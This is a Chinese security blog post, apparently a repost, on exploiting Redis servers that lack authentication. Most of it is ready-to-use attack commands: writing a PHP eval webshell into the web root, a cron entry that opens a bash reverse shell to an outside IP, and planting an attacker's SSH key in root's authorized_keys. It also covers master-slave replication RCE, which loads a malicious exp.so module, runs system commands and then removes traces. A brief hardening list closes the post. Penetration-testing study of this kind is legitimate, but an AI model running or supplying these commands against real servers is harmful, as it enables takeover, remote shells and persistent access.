Redis攻防(未授权访问利用redis写入webshell任务计划反弹Shellssh-keygen 公钥登录服务器利用主从复制RCE)

Posted OceanSec

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Redis攻防(未授权访问利用redis写入webshell任务计划反弹Shellssh-keygen 公钥登录服务器利用主从复制RCE)相关的知识,希望对你有一定的参考价值。


REmote DIctionary Server(Redis) 是一个 key-value 存储系统,是跨平台的非关系型(Nosql)数据库

关于Redis可以看菜鸟教程:

https://www.runoob.com/redis/redis-tutorial.html

未授权访问

主要是因为配置不当,导致未授权访问漏洞,进一步将恶意数据写入内存或者磁盘之中,造成更大的危害

redis.conf 配置文件中两项配置不当:

  • 配置登录策略导致任意机器都可以登录 redis(设置bind 参数为 0.0.0.0或者将 bind 参数注释掉,关闭保护模式(设置 protected-mode 的参数为no)
  • 未设置密码或者设置弱口令

恶意攻击者可以通过原生 Redis 自带的命令行工具 Redis-cli 进行攻击

Kali安装 Redis-cli

  1. 下载redis-cli

    wget http://download.redis.io/redis-stable.tar.gz
    
  2. 解压缩

    tar -zxvf redis-stable.tar.gz
    
  3. 简易配置

    cd redis-stable 
    make 
    cp src/redis-cli /usr/bin/
    

    然后输入命令验证

    redis-cli -h 目标主机IP地址 -p  端口号
    

使用命令连接远程redis

发现目标服务器存在redis未授权访问

常用命令

1.查看信息:info
2.删除所有数据库內容:flushable
3.刷新数据库:flush
4.看所有键:KEYS*,使用 select nun可以查看键值数据
5.设置变量:set test“who am i
6.config set dir dirpath设置路径等配置
7.config get dir/filename获取路径及数据配置信息
8.save保存
9.get变量,查看变量名称

利用redis写入webshell

Redis 存在未授权访问的情况下,也开启了 web 服务,知道 web 目录的路径(猜解或者信息泄露),具有文件读写权限,就可以通过 redis 在指定的 web 目录下写入shell文件

config set dir /var/www/html/ 
config set dbfilename shell.php
set xxx "<?php eval($_REQUEST[cmd]);?>" 
# set xxx "\\r\\n\\r\\n<?php eval($_REQUEST['cmd']);?>\\r\\n\\r\\n"   
#\\r\\n\\r\\n 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行
save

这样就可以在web目录下生成一个名为shell.php的后门文件,可以直接利用,这也是常用的方法

任务计划反弹Shell

如果目标服务器存在redis未授权访问,就可以利用任务计划反弹shell

首先需要在vps上开启监听接受返回的shell

nc -lvnp 6666

然后利用redis-cli写入任务计划,修改命令中的IP和端口

set  xx   "\\n* * * * * bash -i >& /dev/tcp/192.168.0.113/9999 0>&1\\n"
config set dir /var/spool/cron/
config set dbfilename root
save

执行命令后等待接收反弹shell即可

注意任务计划反弹shell方法仅适用于Centos

Ubuntu 不能用的原因如下:

  • 因为默认 redis 写文件后是 644 权限,但是 Ubuntu 要求执行定时任务文件 /var/spool/cron/crontabs/<username> 权限必须是 600 才会执行,否则会报错 (root) INSECURE MODE (mode 0600 expected),而 Centos 的定时任务文件 /var/spool/cron/<username> 权限 644 也可以执行
  • 因为 redis 保存 RDB 会存在乱码,在 Ubuntu 上会报错,而在 Centos 上不会报错

由于系统的不同,crontrab 定时文件位置也不同:

  • Centos 的定时任务文件在 /var/spool/cron/<username>
  • Ubuntu 的定时任务文件在 /var/spool/cron/crontabs/<username>

ssh-keygen 公钥登录服务器

Redis 存在未授权访问或者弱口令并且开启了 ssh 服务的情况下,如果运行 redis 的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以直接登录目标服务器

漏洞复现环境使用docker:

https://github.com/Medicean/VulApps/tree/master/r/redis/1

  1. 拉取镜像到本地
$ docker pull medicean/vulapps:r_redis_1
  1. 启动环境
$ docker run --name=redisvul -d -p 22:22 -p 6379:6379 medicean/vulapps:r_redis_1

-p 22:22 前面的 22 代表物理机的端口,可随意指定

因为我服务器本来安装了redis占用了6379端口,接下来的实验中使用16379代替(修改docker-compose.yml即可修改端口),1122代替22

注意:服务器防火墙策略中打开对应端口

利用步骤

1.在攻击方生成一对 ssh key

ssh-keygen -t rsa
# 默认情况下,生成后在用户的家目录下的 .ssh 目录下

2.将生成的公钥值写入目标服务器

(echo -e "\\n\\n"; cat ~/.ssh/id_rsa.pub; echo -e "\\n\\n") > /tmp/foo.txt
cat /tmp/foo.txt | redis-cli -h 192.168.1.100 -p 6379 -x set crackit

加上 \\n\\n 是为了不破坏 ssh public key

crackit 是设置的 key,可随意指定

3.连接目标

$ redis-cli -h 192.168.1.100 -p 6379
192.168.1.100:6379> config set dir /root/.ssh/
OK
192.168.1.100:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.1.100:6379> config set dbfilename "authorized_keys"
OK
192.168.1.100:6379> save
OK

将目录设置为 /root/.ssh/ 目录后,再将备份文件名设置为 authorized_keys,通过 save 指令即可写入文件

4.通过ssh连接目标

ssh root@192.168.1.100 -i ~/.ssh/id_rsa
# 默认会使用 id_rsa 如果改过文件名则可以用 -i 参数来指定
# 使用 -p 参数指定连接端口默认为22

利用主从复制RCE

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令

漏洞环境使用Vulhub

地址:https://vulhub.org/#/environments/redis/4-unacc/

环境搭建:进入目录使用命令启动

docker-compose up -d

下面演示中因为端口占用docker开放16379段口(修改yml文件)

使用如下POC(需要python3环境)即可直接执行命令:https://github.com/vulhub/redis-rogue-getshell,需要在vps上进行操作

1.首先下载poc,编译生成 exp.so 文件

cd RedisModulesSDK/
make

2.使用脚本

python3 redis-master.py -h
# 查看用法
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"

这样就可以执行命令了

手动步骤

redis-cli -h 192.168.10.187
> ping
> config set dir ./               # 设置redis的备份路径为当前目录
> config set dbfilename exp.so    # 设置备份文件名为exp.so,默认为dump.rdb
> slaveof 192.168.10.1 9999       # 设置主服务器IP和端口
> module load ./exp.so            # 加载恶意模块
> slaveof no one                  # 切断主从,关闭复制功能
> system.exec 'whoami'            # 执行系统命令
> config set dbfilename dump.rdb  # 通过dump.rdb文件恢复数据
> system.exec 'rm ./exp.so'       # 删除exp.so
> module unload system            # 卸载system模块的加载

windows

Redis 官方没有提供 windows 版的安装包,windows 下使用的 Redis 还是 3.X 版本的。 redis 在写文件的时候会有一些版本信息以及脏数据,无法写出正常的DLL、EXE、LINK 等文件,所以 对 Windows 下的 redis 的利用方法主要是往 web 目录写马以及写启动项

可以使用 RedisWriteFile 工具写入数据,原理是利用Redis的主从同步写数据,脚本将自己模拟为master,设置对端为slave,可以写入无损文件

具体使用方法参考:Redis(Windows)的getshell

SSRF

Redis未授权经常和SSRF一同出现

关于SSRF可以看之前发过的一篇文章

再探SSRF服务器请求伪造(weblogic cve ssrf redis未授权)

其他优秀文章:纸上得来终觉浅——Redis 个人总结

安全设置

  1. 单独为redis设置一个普通账号启动 redis
  2. 设置本地 localhost 不允许外部访问
  3. 保护模式开启 protected-mode 开启 (默认开启)
  4. 把端口最好更改
  5. requirepass 设置redis密码

以上是关于Redis攻防(未授权访问利用redis写入webshell任务计划反弹Shellssh-keygen 公钥登录服务器利用主从复制RCE)的主要内容,如果未能解决你的问题,请参考以下文章

Redis未授权访问漏洞

修补--Redis未授权访问漏洞

Redis 未授权访问缺陷可轻易导致系统被黑

Redis未授权访问漏洞的利用及防护

Redis未授权访问漏洞复现与利用

Redis未授权访问漏洞复现与利用